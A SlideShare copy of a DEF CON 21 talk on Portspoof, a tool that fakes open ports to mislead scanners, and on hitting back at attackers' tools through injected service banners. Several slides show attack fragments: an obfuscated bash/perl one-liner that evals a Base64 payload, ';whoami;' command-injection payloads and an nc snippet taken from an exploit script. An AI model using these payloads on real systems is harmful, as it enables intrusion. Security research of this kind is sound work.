SlideShare une entreprise Scribd logo
1  sur  29
© 2012
Presented by:
Pwn’ing you(r) cyber offenders
Piotr Duszynski
@drk1wi
© 2012
;WHOAMI;#?
• Senior Security Consultant @Trustwave (OSCE, OSCP, …)
• In security field for the past 6 years, hacking since 9 …
• Enjoys security research, crazy road trips and good music
2
© 2012
What is this presentation about?
1. “Annoyance and Camouflage” (reconnaissance phase)
New defensive technique that renders your attacker‟s port scan results
nearly useless …
2. “Active (Offensive) Defense”
New attack vectors against you(r) attackers offensive toolbox …
• POC DEMO: example exploit for one of the well known scanners.
3
Active Defense in practice
© 2012© 2012
“To blind attackers’ tools”
The art of Annoyance and Camouflage
© 2012
A typical reconnaissance phase
• Standard case scenario (target system is behind a Firewall)
5
# nmap -sV -O portspoof.org
© 2012
Portspoof – implementation of the idea
6
What if (worst case scenario):
• All 65535 ports appear to be open …
*Portspoof will bind to a single port
• On every open port there appears to be a service listening…
*Portspoof will dynamically generate valid service signatures ~ 8000 supported
TASK: Get a precise view of all running services…
© 2012
Spicing up the reconnaissance phase
with Portspoof
• Worst case scenario (target system is behind the Portspoof) :
7
$ nmap –sV -p - -PN portspoof.org
…. You will need a lot of patience!
© 2012
Spicing up attackers‟ port scan results
8
Scanning statistics:
65.535 open ports (services)
~120 MB of sent data
30682 s (8.5h)
and few beers later …
© 2012
Spicing up attackers‟ port scan results
9
© 2012
Spicing up attackers‟ port scan results
10
… and somewhere in the
results you can find the
hidden message …
© 2012
Spicing up attackers‟ port scan results
• NMAP OS identification results
11
$ nmap –sV -O portspoof.org
© 2012
Spicing up attackers‟ port scan results
• NMAP OS identification results:
12
Device type: general purpose
Running (JUST GUESSING): Linux 3.X (93%)
OS CPE: cpe:/o:linux:linux_kernel:3
Aggressive OS guesses: Linux 3.2 (93%), Linux 3.0 (92%), Linux 3.0 - 3.2
(85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Hosts: gTknkkuB, ouwH-rKWw, bWQnRo, ClFfHC, leLtAJg;
OSs: Unix, Windows, Linux, Solaris, NetWare;
Devices: print server, webcam, router, storage-misc, printer;
CPE: cpe:/o:microsoft:windows, cpe:/o:redhat:linux,
cpe:/o:sun:sunos,cpe:/o:novell:netware, cpe:/o:linux:linux_kernel
© 2012
Spicing up attackers‟ port scan results
• AMAP: $ amap -q portspoof.org 3000-3100
13
© 2012
Spicing up attackers‟ port scan results -
conclusions
• SYN/ACK/FIN/… stealth scans are no longer helpful!
• OS identification is a bit more challenging …
• Forces to generate a huge amount of traffic through service probes …
• Frustrates and forces to carry out a huge amount of arduous by your
attackers …
14
“Security by obscurity” -
but so is the mimicry in the
natural environment…
© 2012
Bypassing Portspoof
• There is no trivial way to detect false signatures
• IP Fragmentation and other network evasion techniques will not work
• Thread pool exhaustion (Full connect TCP DOS):
$ nmap -sV portspoof.org (30 parallel instances)
~ 999/1000 ports were found as open
ANTI-DOS SOLUTION:
1. Play with Portspoof thread count and client/thread parameters .
2. Use iptables mark rules and tc (traffic shaper).
15
Please send any bypass ideas to the portspoof mailing list ;)
© 2012
Portspoof tool
• User space software running without root priv. ! (no kernel
modules)
• Binds to just one port per instance (127.0.0.1:4444)
• Configurable through iptables:
- A PREROUTING -i eth1 -p tcp -m tcp --dport 1:65535 -j
REDIRECT --to-ports 4444
16
© 2012© 2012
“Active (Offensive) Defense in practice”
exploiting your attackers‟ tools…
“The best defense is a good offense” - Sun Tzu (The Art of War)
© 2012
Automated exploitation through Nmap
Interesting injection points through NMAP service probe engine:
• Version fields
• Hosts fields
18
./portspoof –f fuzz_payloads –n fuzz_nmap_signatures
© 2012
Open source reporting tool:
XSS example
19
Nmap report generation tool nr.1 (anonymous)
Tip: Safari „Same Origin Policy‟ for file URIs doesn‟t work.
Regards to Michele Orru!
© 2012
Commercial port scanner:
non-Nmap XSS example
20
report generation tool nr. 2 (McAfee SuperScan 4.0)
XSS payload: partially UTF-7 encoded without parenthesis
© 2012
Public exploit script:
OS command injection example nr.3
21
Exploiting your attackers’ exploits :D
# Lotus CMS 3.0 eval() Remote Command Execution Exploit:
© 2012
Public exploit script:
OS command injection example
22
Portspoof exploiting payload: 80 “whoamin”
Exploits‟ new extra output:
Vulnerable code : $( cat “storage2” )
FAIL ----->
© 2012
Public exploit script:
OS command injection example
23
Creating a weaponized OS command injection payload one-liner for :
---------------------------------------------------------------------------------------------
/bin/basht-ct{perl,-e,$0,useSPACEMIME::Base64,B64_perl_payload }t
$_=$ARGV[0];~s/SPACE/t/ig;eval;$_=$ARGV[1];eval(decode_base64($_));
-----------------------------------------------------------------------------------------------------
• Use t instead of spaces
• Use „Bash Brace Expansion‟ to address the lack of apostrophes
• Use regex to add additional t
• Import missing packages on the fly and execute Base64 encoded payload >:]
$(cat file)
© 2012
Public exploit script:
OS command injection example
24
Exploits‟ new extra output:
Vulnerable code : $( cat “storage2” )
© 2012
Public exploit script:
OS command injection example nr.4
25
cookie=
`printf "GET /jmx-console/ HTTP/1.1nHost: $1nn" | nc $1
$2| grep -i JSESSION | cut -d: -f2- | cut -d; -f1`
Code snippet from one of the „auto_pwn‟ scripts:
Portspoof exploiting payload: 80 “whoamin”
© 2012
Blind exploitation with Portspoof (aka.
Aggressive Honeypot)
26
Conclusions:
- Majority of exploits, reporting tools and scanning software
is exploitable with simple payloads … ;whoami;
- Auto-PWN scripts are usually dumb (they try to exploit all ports) …
To rule them all…
© 2012
In hunt for a vulnerable software …
Use your Google jutsu skills (previous examples were found in TOP10) :
27
And you will find many interesting targets…
Tip: search for .sh (~8000 results), .pl , etc.
© 2012© 2012
Nmap NSE script PWN Demo
© 2012
Thank you 
Portspoof URLs:
http://portspoof.org/
Mailing list:
portspoof-users-subscribe@portspoof.org
Git repository (including the presented exploits):
https://github.com/drk1wi/portspoof/
Contact me:
piotr[at]duszynski.eu (PGP fingerprint: FCD2 B5DA 1AE2 056F 4AC8
901D 7258 7496 ECCD 36F3)
http://twitter/drk1wi
29

Contenu connexe

En vedette

BSides London - Scapy Workshop
BSides London - Scapy WorkshopBSides London - Scapy Workshop
BSides London - Scapy WorkshopAdam Maxwell
 
Ch 07 -- The Expert System
Ch 07 -- The Expert SystemCh 07 -- The Expert System
Ch 07 -- The Expert SystemYoram Orzach
 
Wireshark course, Ch 05: Advanced statistics tools
Wireshark course, Ch 05: Advanced statistics toolsWireshark course, Ch 05: Advanced statistics tools
Wireshark course, Ch 05: Advanced statistics toolsYoram Orzach
 
Wireshark course, Ch 03: Capture and display filters
Wireshark course, Ch 03: Capture and display filtersWireshark course, Ch 03: Capture and display filters
Wireshark course, Ch 03: Capture and display filtersYoram Orzach
 
Ethical hacking Chapter 3 - Network and Computer Attacks - Eric Vanderburg
Ethical hacking   Chapter 3 - Network and Computer Attacks - Eric VanderburgEthical hacking   Chapter 3 - Network and Computer Attacks - Eric Vanderburg
Ethical hacking Chapter 3 - Network and Computer Attacks - Eric VanderburgEric Vanderburg
 
SSL basics and SSL packet analysis using wireshark
SSL basics and SSL packet analysis using wiresharkSSL basics and SSL packet analysis using wireshark
SSL basics and SSL packet analysis using wiresharkAl Imran, CISA
 
Ch 08 -- Ethernet & LAN Switching Troubleshooting
Ch 08 -- Ethernet & LAN Switching TroubleshootingCh 08 -- Ethernet & LAN Switching Troubleshooting
Ch 08 -- Ethernet & LAN Switching TroubleshootingYoram Orzach
 
Reconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awarenessReconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awarenessLeon Teale
 
OSTU - Quickstart Guide for Wireshark (by Tony Fortunato)
OSTU - Quickstart Guide for Wireshark (by Tony Fortunato)OSTU - Quickstart Guide for Wireshark (by Tony Fortunato)
OSTU - Quickstart Guide for Wireshark (by Tony Fortunato)Denny K
 
Seeing Purple: Hybrid Security Teams for the Enterprise - BSides Jackson 2013
Seeing Purple: Hybrid Security Teams for the Enterprise - BSides Jackson 2013Seeing Purple: Hybrid Security Teams for the Enterprise - BSides Jackson 2013
Seeing Purple: Hybrid Security Teams for the Enterprise - BSides Jackson 2013beltface
 
Wireshark course, Ch 02: Introduction to wireshark
Wireshark course, Ch 02: Introduction to wiresharkWireshark course, Ch 02: Introduction to wireshark
Wireshark course, Ch 02: Introduction to wiresharkYoram Orzach
 
Ch 06 -- Bandwidth Delay and Jitter Issues
Ch 06 -- Bandwidth Delay and Jitter IssuesCh 06 -- Bandwidth Delay and Jitter Issues
Ch 06 -- Bandwidth Delay and Jitter IssuesYoram Orzach
 
Packet analysis using wireshark
Packet analysis using wiresharkPacket analysis using wireshark
Packet analysis using wiresharkBasaveswar Kureti
 
Nmap not only a port scanner by ravi rajput comexpo security awareness meet
Nmap not only a port scanner by ravi rajput comexpo security awareness meet Nmap not only a port scanner by ravi rajput comexpo security awareness meet
Nmap not only a port scanner by ravi rajput comexpo security awareness meet Ravi Rajput
 
Security Attacks on RSA
Security Attacks on RSASecurity Attacks on RSA
Security Attacks on RSAPratik Poddar
 

En vedette (20)

BSides London - Scapy Workshop
BSides London - Scapy WorkshopBSides London - Scapy Workshop
BSides London - Scapy Workshop
 
Ch 07 -- The Expert System
Ch 07 -- The Expert SystemCh 07 -- The Expert System
Ch 07 -- The Expert System
 
Wireshark course, Ch 05: Advanced statistics tools
Wireshark course, Ch 05: Advanced statistics toolsWireshark course, Ch 05: Advanced statistics tools
Wireshark course, Ch 05: Advanced statistics tools
 
Wireshark course, Ch 03: Capture and display filters
Wireshark course, Ch 03: Capture and display filtersWireshark course, Ch 03: Capture and display filters
Wireshark course, Ch 03: Capture and display filters
 
Ethical hacking Chapter 3 - Network and Computer Attacks - Eric Vanderburg
Ethical hacking   Chapter 3 - Network and Computer Attacks - Eric VanderburgEthical hacking   Chapter 3 - Network and Computer Attacks - Eric Vanderburg
Ethical hacking Chapter 3 - Network and Computer Attacks - Eric Vanderburg
 
SSL basics and SSL packet analysis using wireshark
SSL basics and SSL packet analysis using wiresharkSSL basics and SSL packet analysis using wireshark
SSL basics and SSL packet analysis using wireshark
 
Ch 08 -- Ethernet & LAN Switching Troubleshooting
Ch 08 -- Ethernet & LAN Switching TroubleshootingCh 08 -- Ethernet & LAN Switching Troubleshooting
Ch 08 -- Ethernet & LAN Switching Troubleshooting
 
Reconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awarenessReconnaissance - For pentesting and user awareness
Reconnaissance - For pentesting and user awareness
 
OSTU - Quickstart Guide for Wireshark (by Tony Fortunato)
OSTU - Quickstart Guide for Wireshark (by Tony Fortunato)OSTU - Quickstart Guide for Wireshark (by Tony Fortunato)
OSTU - Quickstart Guide for Wireshark (by Tony Fortunato)
 
Seeing Purple: Hybrid Security Teams for the Enterprise - BSides Jackson 2013
Seeing Purple: Hybrid Security Teams for the Enterprise - BSides Jackson 2013Seeing Purple: Hybrid Security Teams for the Enterprise - BSides Jackson 2013
Seeing Purple: Hybrid Security Teams for the Enterprise - BSides Jackson 2013
 
Wireshark course, Ch 02: Introduction to wireshark
Wireshark course, Ch 02: Introduction to wiresharkWireshark course, Ch 02: Introduction to wireshark
Wireshark course, Ch 02: Introduction to wireshark
 
Ch 06 -- Bandwidth Delay and Jitter Issues
Ch 06 -- Bandwidth Delay and Jitter IssuesCh 06 -- Bandwidth Delay and Jitter Issues
Ch 06 -- Bandwidth Delay and Jitter Issues
 
Network Forensics: Packet Analysis Using Wireshark
Network Forensics: Packet Analysis Using WiresharkNetwork Forensics: Packet Analysis Using Wireshark
Network Forensics: Packet Analysis Using Wireshark
 
Wireshark
WiresharkWireshark
Wireshark
 
Footprinting tools for security auditors
Footprinting tools for security auditorsFootprinting tools for security auditors
Footprinting tools for security auditors
 
Wireshark
WiresharkWireshark
Wireshark
 
Packet analysis using wireshark
Packet analysis using wiresharkPacket analysis using wireshark
Packet analysis using wireshark
 
Nmap not only a port scanner by ravi rajput comexpo security awareness meet
Nmap not only a port scanner by ravi rajput comexpo security awareness meet Nmap not only a port scanner by ravi rajput comexpo security awareness meet
Nmap not only a port scanner by ravi rajput comexpo security awareness meet
 
Wireshark
WiresharkWireshark
Wireshark
 
Security Attacks on RSA
Security Attacks on RSASecurity Attacks on RSA
Security Attacks on RSA
 

Dernier

Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodJuan lago vázquez
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...apidays
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistandanishmna97
 
Introduction to use of FHIR Documents in ABDM
Introduction to use of FHIR Documents in ABDMIntroduction to use of FHIR Documents in ABDM
Introduction to use of FHIR Documents in ABDMKumar Satyam
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelDeepika Singh
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKJago de Vreede
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdfSandro Moreira
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MIND CTI
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...apidays
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Zilliz
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontologyjohnbeverley2021
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxRustici Software
 

Dernier (20)

Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Introduction to use of FHIR Documents in ABDM
Introduction to use of FHIR Documents in ABDMIntroduction to use of FHIR Documents in ABDM
Introduction to use of FHIR Documents in ABDM
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontology
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 

DEF CON 21 - "Pwn'ing You(r) Cyber Offenders"

  • 1. © 2012 Presented by: Pwn’ing you(r) cyber offenders Piotr Duszynski @drk1wi
  • 2. © 2012 ;WHOAMI;#? • Senior Security Consultant @Trustwave (OSCE, OSCP, …) • In security field for the past 6 years, hacking since 9 … • Enjoys security research, crazy road trips and good music 2
  • 3. © 2012 What is this presentation about? 1. “Annoyance and Camouflage” (reconnaissance phase) New defensive technique that renders your attacker‟s port scan results nearly useless … 2. “Active (Offensive) Defense” New attack vectors against you(r) attackers offensive toolbox … • POC DEMO: example exploit for one of the well known scanners. 3 Active Defense in practice
  • 4. © 2012© 2012 “To blind attackers’ tools” The art of Annoyance and Camouflage
  • 5. © 2012 A typical reconnaissance phase • Standard case scenario (target system is behind a Firewall) 5 # nmap -sV -O portspoof.org
  • 6. © 2012 Portspoof – implementation of the idea 6 What if (worst case scenario): • All 65535 ports appear to be open … *Portspoof will bind to a single port • On every open port there appears to be a service listening… *Portspoof will dynamically generate valid service signatures ~ 8000 supported TASK: Get a precise view of all running services…
  • 7. © 2012 Spicing up the reconnaissance phase with Portspoof • Worst case scenario (target system is behind the Portspoof) : 7 $ nmap –sV -p - -PN portspoof.org …. You will need a lot of patience!
  • 8. © 2012 Spicing up attackers‟ port scan results 8 Scanning statistics: 65.535 open ports (services) ~120 MB of sent data 30682 s (8.5h) and few beers later …
  • 9. © 2012 Spicing up attackers‟ port scan results 9
  • 10. © 2012 Spicing up attackers‟ port scan results 10 … and somewhere in the results you can find the hidden message …
  • 11. © 2012 Spicing up attackers‟ port scan results • NMAP OS identification results 11 $ nmap –sV -O portspoof.org
  • 12. © 2012 Spicing up attackers‟ port scan results • NMAP OS identification results: 12 Device type: general purpose Running (JUST GUESSING): Linux 3.X (93%) OS CPE: cpe:/o:linux:linux_kernel:3 Aggressive OS guesses: Linux 3.2 (93%), Linux 3.0 (92%), Linux 3.0 - 3.2 (85%) No exact OS matches for host (test conditions non-ideal). Service Info: Hosts: gTknkkuB, ouwH-rKWw, bWQnRo, ClFfHC, leLtAJg; OSs: Unix, Windows, Linux, Solaris, NetWare; Devices: print server, webcam, router, storage-misc, printer; CPE: cpe:/o:microsoft:windows, cpe:/o:redhat:linux, cpe:/o:sun:sunos,cpe:/o:novell:netware, cpe:/o:linux:linux_kernel
  • 13. © 2012 Spicing up attackers‟ port scan results • AMAP: $ amap -q portspoof.org 3000-3100 13
  • 14. © 2012 Spicing up attackers‟ port scan results - conclusions • SYN/ACK/FIN/… stealth scans are no longer helpful! • OS identification is a bit more challenging … • Forces to generate a huge amount of traffic through service probes … • Frustrates and forces to carry out a huge amount of arduous by your attackers … 14 “Security by obscurity” - but so is the mimicry in the natural environment…
  • 15. © 2012 Bypassing Portspoof • There is no trivial way to detect false signatures • IP Fragmentation and other network evasion techniques will not work • Thread pool exhaustion (Full connect TCP DOS): $ nmap -sV portspoof.org (30 parallel instances) ~ 999/1000 ports were found as open ANTI-DOS SOLUTION: 1. Play with Portspoof thread count and client/thread parameters . 2. Use iptables mark rules and tc (traffic shaper). 15 Please send any bypass ideas to the portspoof mailing list ;)
  • 16. © 2012 Portspoof tool • User space software running without root priv. ! (no kernel modules) • Binds to just one port per instance (127.0.0.1:4444) • Configurable through iptables: - A PREROUTING -i eth1 -p tcp -m tcp --dport 1:65535 -j REDIRECT --to-ports 4444 16
  • 17. © 2012© 2012 “Active (Offensive) Defense in practice” exploiting your attackers‟ tools… “The best defense is a good offense” - Sun Tzu (The Art of War)
  • 18. © 2012 Automated exploitation through Nmap Interesting injection points through NMAP service probe engine: • Version fields • Hosts fields 18 ./portspoof –f fuzz_payloads –n fuzz_nmap_signatures
  • 19. © 2012 Open source reporting tool: XSS example 19 Nmap report generation tool nr.1 (anonymous) Tip: Safari „Same Origin Policy‟ for file URIs doesn‟t work. Regards to Michele Orru!
  • 20. © 2012 Commercial port scanner: non-Nmap XSS example 20 report generation tool nr. 2 (McAfee SuperScan 4.0) XSS payload: partially UTF-7 encoded without parenthesis
  • 21. © 2012 Public exploit script: OS command injection example nr.3 21 Exploiting your attackers’ exploits :D # Lotus CMS 3.0 eval() Remote Command Execution Exploit:
  • 22. © 2012 Public exploit script: OS command injection example 22 Portspoof exploiting payload: 80 “whoamin” Exploits‟ new extra output: Vulnerable code : $( cat “storage2” ) FAIL ----->
  • 23. © 2012 Public exploit script: OS command injection example 23 Creating a weaponized OS command injection payload one-liner for : --------------------------------------------------------------------------------------------- /bin/basht-ct{perl,-e,$0,useSPACEMIME::Base64,B64_perl_payload }t $_=$ARGV[0];~s/SPACE/t/ig;eval;$_=$ARGV[1];eval(decode_base64($_)); ----------------------------------------------------------------------------------------------------- • Use t instead of spaces • Use „Bash Brace Expansion‟ to address the lack of apostrophes • Use regex to add additional t • Import missing packages on the fly and execute Base64 encoded payload >:] $(cat file)
  • 24. © 2012 Public exploit script: OS command injection example 24 Exploits‟ new extra output: Vulnerable code : $( cat “storage2” )
  • 25. © 2012 Public exploit script: OS command injection example nr.4 25 cookie= `printf "GET /jmx-console/ HTTP/1.1nHost: $1nn" | nc $1 $2| grep -i JSESSION | cut -d: -f2- | cut -d; -f1` Code snippet from one of the „auto_pwn‟ scripts: Portspoof exploiting payload: 80 “whoamin”
  • 26. © 2012 Blind exploitation with Portspoof (aka. Aggressive Honeypot) 26 Conclusions: - Majority of exploits, reporting tools and scanning software is exploitable with simple payloads … ;whoami; - Auto-PWN scripts are usually dumb (they try to exploit all ports) … To rule them all…
  • 27. © 2012 In hunt for a vulnerable software … Use your Google jutsu skills (previous examples were found in TOP10) : 27 And you will find many interesting targets… Tip: search for .sh (~8000 results), .pl , etc.
  • 28. © 2012© 2012 Nmap NSE script PWN Demo
  • 29. © 2012 Thank you  Portspoof URLs: http://portspoof.org/ Mailing list: portspoof-users-subscribe@portspoof.org Git repository (including the presented exploits): https://github.com/drk1wi/portspoof/ Contact me: piotr[at]duszynski.eu (PGP fingerprint: FCD2 B5DA 1AE2 056F 4AC8 901D 7258 7496 ECCD 36F3) http://twitter/drk1wi 29

Notes de l'éditeur

  1. Thanks for coming, start presentation
  2. shortly
  3. Results of my attempt to put some of the Active Defense concepts into practiceTechnique that aims at slowing down your attackers and keeping them from staying low profile (nearly- infinite time)Example based, that tries to show the potential that lies in Offensive Defense/automated (exploiting your attackers exploits)
  4. Knowledge is the key, port scan
  5. Starting point for every pentest …
  6. IdeaImplemented (Portspoof)Results?
  7. Get a precise view …
  8. Our offenders will get more information then they ever wanted…
  9. Closer lookA whole range of different services (possibly none or all of them are valid)So, you have finished the scan and still know almost nothing…
  10. Bonus protection (none port is closes)
  11. The same goes for other port scanners…
  12. TIME –TIME – STEALTH –
  13. User spaceNo rootEasy configurable
  14. - Exploiting attacker’s tools and exploitsExample based with few interesting vectors and examples (top of an ice mountain)
  15. Lets come back to Nmap again (due itspopoularity)Injection pointsPORTSPOFO OUTPUT - Set up our software to have different payloads on each port (good approach for automated tools)
  16. In practice if your system returns the following service banner (that will match Nmap regular expression).“Hello World” example
  17. Non Nmap based example
  18. Storage file content is under our controlSimple payload will exploit attackers machine
  19. You can use the previously created payload for automated exploitation
  20. Straigjtforward vulnerability Again whoami will exploit attackers machine…